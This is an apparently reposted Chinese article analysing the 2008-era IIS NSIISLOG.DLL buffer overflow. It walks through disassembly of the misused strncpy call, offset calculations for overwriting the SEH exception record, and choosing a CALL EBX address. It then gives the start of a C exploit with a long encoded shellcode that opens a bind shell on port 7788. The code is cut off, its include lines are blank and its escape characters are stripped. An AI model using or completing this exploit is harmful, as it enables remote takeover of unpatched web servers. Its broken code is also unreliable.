IIS的NSIISLOG.DLL溢出问题分析
点击次数:31 次 发布日期:2008-11-21 23:04:50 作者:源代码网
|
导致溢出的代码就在NSIISLOG.DLL中,如下 .text:40F01B08 mov ecx, esi .text:40F01B0A call dword ptr [eax+8] .text:40F01B0D push eax <----------------计算的POST数据长度 .text:40F01B0E mov ecx, ebx .text:40F01B10 push [ebp+arg_4] <----------------POST数据的BUFFER .text:40F01B13 call sub_40F01EEE ######################################################################################################### sub_40F01EEE函数内容: .text:40F01EEE push ebp .text:40F01EEF mov ebp, esp .text:40F01EF1 mov eax, 1104h .text:40F01EF6 call sub_40F02B80 〈-----------------分配缓冲区,按含ESP-0X1104的调用 .text:40F01EFB push ebx .text:40F01EFC push esi .text:40F01EFD mov ebx, [ebp+arg_4] .text:40F01F00 push edi 〈-------------------导致溢出的参数,本来应该是被溢出的缓冲区的长度 .text:40F01F01 mov edi, [ebp+arg_8] 这里却传成了POST数据的长度 .text:40F01F04 or ecx, 0FFFFFFFFh .text:40F01F07 xor eax, eax .text:40F01F09 push ebx .text:40F01F0A repne scasb .text:40F01F0C push [ebp+arg_0] 〈----------------------我们POST的数据 .text:40F01F0F lea eax, [ebp+var_1104] .text:40F01F15 not ecx .text:40F01F17 dec ecx .text:40F01F18 push eax 〈------------------------被溢出的缓冲区 .text:40F01F19 mov [ebp+var_4], ecx .text:40F01F1C call ds:strncpy 〈-----------------------导致溢出的调用 ############################################################################################################## 溢出原因: strncpy这个调用本来是安全函数调用的,原形是: strncpy(BUF1,BUF2,BUF1MAXLEN) 但是在这个调用中,调用者误使这个函数的调用成如下方式了: strncpy(BUF1,BUF2,BUF2MAXLEN),这样第三个参数本来应该是BUF1MAXLEN来限制可能导致溢出的调用就成了无用的摆设。 我们可以计算出返回地址的覆盖点是: 0X1104+4(EBP占用的地址)=0x1108,那么需要0X110C个字节,注意POST的数据在覆盖中不能存在0x0,否则strncpy会自动用0添满后面的数据。 溢出攻击实现: 但是在函数返回以前我们发现会引发函数的异常(主要是后面的strspn调用中),那么我们就得想法覆盖异常结构。(当然如果你可以精巧设计你自己覆盖的内容不导致异常也是可以的,不过这样太麻烦了),nsiislog.dll自己并没有异常处理程序,那么需要我们覆盖默认的异常结构处理地址,我们可以通过累加所有调用堆栈的大小计算得出此地址距离我们溢出缓冲区的距离是0X2708。 另外需要考虑的问题就是在触发异常之前,如果应用程序对我们的SHELLCODE进行了操作则会导致一些问题,那么我们最好使得在STRNCPY中就出发缓冲。(这个溢出中,会转换EBP之前的一些数据的大小写,也会截断添加一条消息。当然我们也可以精巧设置SHELLCODE的位置,不过返回地址不是很好设置)。 那么我们需要比0X270C更长的地址导致地址访问违反例,这个长度是和当前缓冲大小相关的(到下一个地址段,如0X8CXXXX-〉0X8D0000就会引发异常): 考虑这个问题,我们的缓冲放置0x10000以上长度的数据(当然一般25000左右就基本能导致在STRNCPY里的异常了),就能绝对保证在strncpy中引发异常了。 下面我们就要寻找一个CALL EBX或JMP EBX的地址了(因为是覆盖异常结构),这个地址其实在NSIISLOG.DLL中就有很多,这样就能避免很多版本要求的问题。 但是这里需要注意的是,在KiUserExceptionDispatcher中的处理是如下方式的: 77f8e4ca ff7304 push dword ptr [ebx+0x4] ds:0023:008cf764=40f0135c <-------------这里就是溢出的异常结构地址 77f8e4cd 8d45f0 lea eax,[ebp-0x10] 77f8e4d0 50 push eax 77f8e4d1 ff750c push dword ptr [ebp+0xc] 77f8e4d4 53 push ebx 77f8e4d5 56 push esi 77f8e4d6 e83affffff call ntdll!RtlSetBits+0x305 (77f8e415) ############################################################################### 77f8e42f ff7514 push dword ptr [ebp+0x14] 77f8e432 ff7510 push dword ptr [ebp+0x10] 77f8e435 ff750c push dword ptr [ebp+0xc] 77f8e438 ff7508 push dword ptr [ebp+0x8] 77f8e43b 8b4d18 mov ecx,[ebp+0x18] <-------------这里就是溢出的异常结构地址 77f8e43e ffd1 call ecx {nsiislog+0x135c (40f0135c)} ############################################################################### 这里找到的返回地址是[ebx+4],而调用CALL EBX也要把这个地址内存的内容当指令执行,所以EBX(异常结构前)的地址的内容应该是跳过 EBX+4(被覆盖的异常结构地址)的,下面就是一个EXP代码,使用了ISNO的SHELLCODE(我拿到的这个SHELLCODE有点小毛病,已修改),执行以后TELNET IP 7788 ############################################################################### #include #include #include #include #include char *hostName = NULL; unsigned char shellcode[]= "x90xebx03x5dxebx05xe8xf8xffxffxffx83xc5x15x90x90" "x90x8bxc5x33xc9x66xb9x10x03x50x80x30x97x40xe2xfa" "x7ex8ex95x97x97xcdx1cx4dx14x7cx90xfdx68xc4xf3x36" "x97x97x97x97xc7xf3x1exb2x97x97x97x97xa4x4cx2cx97" "x97x77xe0x7fx4bx96x97x97x16x6cx97x97x68x28x98x14" "x59x96x97x97x16x54x97x97x96x97xf1x16xacxdaxcdxe2" "x70xa4x57x1cxd4xabx94x54xf1x16xafxc7xd2xe2x4ex14" "x57xefx1cxa7x94x64x1cxd9x9bx94x5cx16xaexdcxd2xc5" "xd9xe2x52x16xeex93xd2xdbxa4xa5xe2x2bxa4x68x1cxd1" "xb7x94x54x1cx5cx94x9fx16xaexd0xf2xe3xc7xe2x9ex16" "xeex93xe5xf8xf4xd6xe3x91xd0x14x57x93x7cx72x94x68" "x94x6cx1cxc1xb3x94x6dxa4x45xf1x1cx80x1cx6dx1cxd1" "x87xdfx94x6fxa4x5ex1cx58x94x5ex94x5ex94xd9x8bx94" "x5cx1cxaex94x6cx7exfex96x97x97xc9x10x60x1cx40xa4" "x57x60x47x1cx5fx65x38x1exa5x1axd5x9fxc5xc7xc4x68" "x85xcdx1exd5x93x1axe5x82xc5xc1x68xc5x93xcdxa4x57" "x3bx13x57xe2x6exa4x5ex1dx99x13x5exe3x9exc5xc1xc4" "x68x85xcdx3cx75x7fxd1xc5xc1x68xc5x93xcdx1cx4fxa4" "x57x3bx13x57xe2x6exa4x5ex1dx99x17x6ex95xe3x9exc5" "xc1xc4x68x85xcdx3cx75x70xa4x57xc7xd7xc7xd7xc7x68" "xc0x7fx04xfdx87xc1xc4x68xc0x7bxfdx95xc4x68xc0x67" "xa4x57xc0xc7x27x9bx3cxcfx3cxd7x3cxc8xdfxc7xc0xc1" "x3axc1x68xc0x57xdfxc7xc0x3axc1x3axc1x68xc0x57xdf" "x27xd3x1ex90xc0x68xc0x53xa4x57x1cxd1x63x1exd0xab" "x1exd0xd7x1cx91x1exd0xafxa4x57xf1x2fx96x96x1exd0" "xbbxc0xc0xa4x57xc7xc7xc7xd7xc7xdfxc7xc7x3axc1xa4" "x57xc7x68xc0x5fx68xe1x67x68xc0x5bx68xe1x6bx68xc0" "x5bxdfxc7xc7xc4x68xc0x63x1cx4fxa4x57x23x93xc7x56" "x7fx93xc7x68xc0x43x1cx67xa4x57x1cx5fx22x93xc7xc7" "xc0xc6xc1x68xe0x3fx68xc0x47x14xa8x96xebxb5xa4x57" "xc7xc0x68xa0xc1x68xe0x3fx68xc0x4bx9cx57xe3xb8xa4" "x57xc7x68xa0xc1xc4x68xc0x6fxfdxc7x68xc0x77x7cx5f" //这里修改了一下错误的SHELLCODE,原来的是 xc0x6bxa4x5exc6xc7, //把WRITEFILE的最后2个参数传反了,导致写入管道失败 "xa4x57xc7x23x93xc7xc1xc4x68xc0x6bxa4x5exc6xc0xc7" "xc1x68xe0x3bx68xc0x4fxfdxc7x68xc0x77x7cx3dxc7x68" "xc0x73x7cx69xcfxc7x1exd5x65x54x1cxd3xb3x9bx92x2f" "x97x97x97x50x97xefxc1xa3x85xa4x57x54x7cx7bx7fx75" "x6ax68x68x7fx05x69x68x68xdcxc1x70xe0xb4x17x70xe0" "xdbxf8xf6xf3xdbxfexf5xe5xf6xe5xeexd6x97xdcxd2xc5" "xd9xd2xdbxa4xa5x97xd4xe5xf2xf6xe3xf2xc7xfexe7xf2" "x97xd0xf2xe3xc4xe3xf6xe5xe3xe2xe7xdexf9xf1xf8xd6" "x97 源代码网供稿. |
